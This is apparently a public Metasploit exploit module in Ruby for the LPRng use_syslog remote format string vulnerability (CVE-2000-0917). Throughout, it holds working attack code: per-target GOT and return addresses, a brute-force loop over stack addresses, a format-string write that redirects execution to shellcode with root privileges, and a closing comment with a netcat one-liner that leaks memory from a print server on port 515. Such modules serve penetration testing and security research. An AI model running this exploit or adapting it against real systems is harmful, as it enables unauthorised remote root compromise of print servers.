183 lines
5.1 KiB
Ruby
183 lines
5.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Brute
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include Msf::Exploit::FormatString
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'LPRng use_syslog Remote Format String Vulnerability',
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'Description' => %q{
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This module exploits a format string vulnerability in the LPRng print server.
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This vulnerability was discovered by Chris Evans. There was a publicly
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circulating worm targeting this vulnerability, which prompted RedHat to pull
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their 7.0 release. They consequently re-released it as "7.0-respin".
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},
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'Author' => [ 'jduck' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2000-0917' ],
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[ 'OSVDB', '421' ],
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[ 'BID', '1712' ],
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[ 'US-CERT-VU', '382365' ],
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[ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
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[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
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[ 'EDB', '226' ],
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[ 'EDB', '227' ],
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[ 'EDB', '230' ]
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],
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Privileged' => true, # root
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'DefaultOptions' =>
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{
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'PrependSetresuid' => true
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},
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'Payload' =>
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{
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'Space' => 130, # buffer size on caldera is 180! (need ~50 for fmt)
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'BadChars' => "\x00\x0a\x20\x25",
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},
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'Targets' =>
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[
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# tested OK - jjd
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[ 'Caldera OpenLinux 2.3 Bruteforce',
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{
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'Platform' => 'linux',
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'NumPops' => 243,
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'FlowHook' => 0x80992d4, # GOT of exit
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# (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xcffffff4 },
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'Stop' => { 'Ret' => 0x7fffe004 },
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'Step' => 16
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}
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}
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],
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=begin
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# untested (from public exploits)
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[ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
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{
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'NumPops' => 299,
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'Ret' => 0xbffff640,
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'FlowHook' => 0xbfffee30
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}
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],
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[ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
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{
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'NumPops' => 304,
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'Ret' => 0xbffff920,
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'FlowHook' => 0xbffff0f0
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}
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],
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[ 'RedHat 7.0 - Guinesss',
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{
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'NumPops' => 300,
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'Ret' => 0x41424344,
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'FlowHook' => 0xbffff3ec
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}
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],
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[ 'RedHat 7.0 - Guinesss-dev',
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{
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'NumPops' => 300,
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'Ret' => 0x41424344,
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'FlowHook' => 0xbffff12c
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}
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],
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=end
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# ...
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[ 'Debug',
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{
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'NumPops' => 1, # sure to miss.
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'Ret' => 0x41424344,
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'FlowHook' => 0x45464748
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}
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]
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],
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# 'DefaultTarget' => 0,
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'DisclosureDate' => 'Sep 25 2000'))
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register_options( [ Opt::RPORT(515) ])
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end
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def exploit
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# we want to use DPA for this one :)
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fmtstr_set_caps(false, true)
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# check syslog to see which number hits 41414141
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=begin
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400.times { |x|
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connect
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buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
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sock.put(buf)
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#handler
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disconnect
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}
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=end
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print_status("Trying target #{target.name} ..")
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super
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end
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def brute_exploit(addrs)
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#print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])
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printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
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num_start = printed.length + 2 + 4
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# write 'ret' addr to flowhook (execute shellcode)
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# NOTE: the resulting two writes must be done at the same time
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# characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
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fmtbuf = "_" * 4
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fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
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#print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
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# append payload and newline
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#fmtbuf << payload.encoded
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fmtbuf << "\x90" * 32
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fmtbuf << Rex::Text.charset_exclude(payload_badchars)
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fmtbuf << "\n"
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print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])
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connect
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#print_status("Sleeping, attach now!!")
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#select(nil,nil,nil,5)
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sock.put(fmtbuf)
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handler
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disconnect
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end
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end
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=begin
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HRM!
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The following causes info leakage!
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bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC
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There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
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0x01 -> 0x09...
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It's unclear if there is a way to auto-detect the lpd version via LPD commands.
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=end
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